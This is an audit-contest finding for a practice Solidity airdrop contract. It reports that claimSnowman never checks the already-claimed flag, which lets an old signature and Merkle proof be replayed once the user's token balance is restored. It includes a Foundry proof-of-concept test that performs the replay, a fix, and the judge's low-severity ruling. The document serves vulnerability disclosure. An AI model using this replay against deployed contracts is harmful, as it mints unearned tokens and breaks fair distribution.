Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

[H-1]Replay Attack in `claimSnowman` Allows Multiple NFT Claims Due to Missing `s_hasClaimedSnowman` Check

[H-1]Replay Attack in claimSnowman Allows Multiple NFT Claims Due to Missing s_hasClaimedSnowman Check

Description

  • Normal Behavior: The SnowmanAirdrop contract is designed to allow eligible users (those included in a Merkle tree and possessing the required Snow tokens) to claim a Snowman NFT a single time. The claimSnowman function validates a user's Merkle proof and their signature, transfers their Snow tokens to the contract, mints them an NFT, and then records that the user has claimed by setting s_hasClaimedSnowman[receiver] to true.

  • Specific Issue: The claimSnowman function does not check the s_hasClaimedSnowman[receiver] status at the beginning of the function call. If a user re-acquires the exact same amount of Snow tokens they used for their initial successful claim, the original (and previously valid) signature and Merkle proof can be re-submitted by anyone. This allows the user to claim NFTs multiple times, bypassing the intended one-claim-per-user mechanism.

// SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
// @> VULNERABILITY: Missing check for s_hasClaimedSnowman[receiver] == true at the beginning.
// @> An early revert here would prevent the replay.
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
// @> This check can be passed again if the user re-acquires the exact token amount.
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
// @> The signature check can pass again with the same signature if getMessageHash(receiver)
// @> returns the same hash. This happens if the receiver's Snow balance is restored
// @> to the exact amount it was when the original signature was created.
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
// @> The Merkle proof check can also pass again with the same proof if the leaf
// @> (which depends on 'receiver' and 'amount') is reconstructed to be the same.
// @> This occurs if 'amount' (from i_snow.balanceOf(receiver)) is the same as the original claim.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true; // @> This flag is set, but only AFTER all checks have passed again,
// @> thus not preventing the current replay.
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
// ...
}

Risk

Likelihood: High

  • A legitimate user successfully claims their Snowman NFT using their signature and a valid Merkle proof.

  • The same user re-acquires the exact quantity of Snow tokens they staked for the initial claim (e.g., via the earnSnow() function in Snow.sol after the cooldown, by purchasing more, or receiving a transfer).

  • The original signature and Merkle proof (which are now valid again because the user's Snow balance matches the state at the time of original signing and Merkle leaf generation) are re-submitted to the claimSnowman function by any party (the user themselves or a third party like "satoshi" in the test).

Impact: High

  • Unintended NFT Inflation & Value Dilution: Users can exploit this to mint more Snowman NFTs than they are entitled to according to the Merkle airdrop rules. This inflates the NFT supply beyond what was intended, potentially devaluing the NFTs for all holders.

  • Compromise of Airdrop Fairness: The core principle of a Merkle airdrop is to ensure a fair, one-time distribution to a specific set of users with specific allocations. This vulnerability breaks that fairness, allowing some users to receive multiple allocations.

  • Excessive Token Staking/Burning: The Snow tokens intended to be staked (and effectively burned or locked in the airdrop contract) are processed multiple times for the same original entitlement, leading to more tokens being removed from the user's control and sent to the airdrop contract than designed.

Proof of Concept

The following test case from TestSnowmanAirdrop.t.sol demonstrates the replay attack. Alice successfully claims an NFT, then re-acquires the necessary Snow tokens, and the original claim data is used to claim a second NFT for her.

function testReplayAttackOnClaimSnowman() public {
// --- Alice's First Successful Claim ---
assertEq(snow.balanceOf(alice), 1, "PRE-REQ: Alice should have 1 wei Snow before first claim");
uint256 initialAirdropSnowBalance = snow.balanceOf(address(airdrop));
uint256 initialAliceNftId = nft.getTokenCounter(); // Get token ID before minting for Alice
vm.prank(alice);
snow.approve(address(airdrop), 1); // Alice approves 1 wei
// Generate signature based on Alice's current state (balance of 1 wei)
bytes32 alDigestOriginal = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigestOriginal);
vm.prank(satoshi); // Satoshi makes the claim for Alice
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
// Assertions for the first successful claim
assertEq(nft.balanceOf(alice), 1);// Alice should have 1 NFT after first claim
assertEq(snow.balanceOf(alice), 0); // Alice's Snow balance should be 0 after first claim
assertTrue(airdrop.getClaimStatus(alice)); // Claim status should be true after successful claim
assertEq(nft.ownerOf(initialAliceNftId), alice); // Alice should own the newly minted NFT
assertEq(snow.balanceOf(address(airdrop)), initialAirdropSnowBalance + 1); // Airdrop contract Snow balance should increase by 1
// --- Setup for Replay Attack ---
// 1. Alice needs to re-acquire 1 wei of Snow token.
// The `earnSnow()` function mints 1 wei but has a timer. We'll advance time.
vm.warp(block.timestamp + 1 weeks + 1 seconds); // Advance time to bypass earnSnow timer
vm.prank(alice);
snow.earnSnow(); // Alice calls earnSnow() to get 1 wei of Snow token again.
assertEq(snow.balanceOf(alice), 1, "Alice's Snow balance should be 1 wei again for replay attempt");
// 2. Alice needs to approve the Airdrop contract again for the new tokens.
vm.prank(alice);
snow.approve(address(airdrop), 1);
// --- Attempt Replay Attack ---
// Satoshi attempts to replay the claim using the *exact same original signature* (alV, alR, alS)
// and the *exact same Merkle proof* (AL_PROOF).
// The `getMessageHash(alice)` will now produce the same digest as `alDigestOriginal` because
// Alice's Snow balance is 1 wei again, which is what the original signature was based on.
// The Merkle leaf calculation inside `claimSnowman` will also match the original leaf for AL_PROOF.
bytes32 alDigestForReplay = airdrop.getMessageHash(alice);
assertEq(alDigestForReplay, alDigestOriginal, "Digest for replay should match original digest if balance is restored");
uint256 nftBalanceBeforeReplay = nft.balanceOf(alice);
uint256 snowBalanceOfAliceBeforeReplay = snow.balanceOf(alice);
uint256 airdropSnowBalanceBeforeReplayAttempt = snow.balanceOf(address(airdrop));
uint256 nextNftId = nft.getTokenCounter();
vm.prank(satoshi); // Satoshi makes the replay call
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
// --- Assertions for Successful Replay (Proving Vulnerability) ---
// If the replay is successful, Alice will have another NFT, and her Snow balance will be 0 again.
assertEq(nft.balanceOf(alice), nftBalanceBeforeReplay + 1, "VULNERABILITY: Alice received an additional NFT due to replay!");
assertEq(snow.balanceOf(alice), snowBalanceOfAliceBeforeReplay - 1, "VULNERABILITY: Alice's Snow balance decreased again due to replay!");
assertEq(nft.ownerOf(nextNftId), alice, "VULNERABILITY: Alice should own the second NFT from replay");
assertTrue(airdrop.getClaimStatus(alice), "Alice's claim status remains true"); // This flag was set but not checked to prevent replay
assertEq(snow.balanceOf(address(airdrop)), airdropSnowBalanceBeforeReplayAttempt + 1, "VULNERABILITY: Airdrop contract Snow balance increased again from replay");
}

Recommended Mitigation

Add a check at the beginning of the claimSnowman function to ensure that the receiver has not already claimed their NFT. This can be done by checking the s_hasClaimedSnowman[receiver] mapping.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// ... imports ...
contract SnowmanAirdrop is EIP712, ReentrancyGuard {
using SafeERC20 for Snow;
// >>> ERRORS
error SA__InvalidProof();
error SA__InvalidSignature();
error SA__ZeroAddress();
error SA__ZeroAmount();
+ error SA__AlreadyClaimed(); // Add new error for already claimed
// ... (struct, variables, event, constructor) ...
mapping(address => bool) private s_hasClaimedSnowman;
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
// ... (internal functions, public view functions, getter functions) ...
}

This mitigation ensures that once a user has successfully claimed, any subsequent attempts to claim for the same receiver address will be immediately rejected, regardless of whether other conditions (like token balance or signature validity) might appear to be met again.

Updates

Lead Judging Commences

yeahchibyke Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.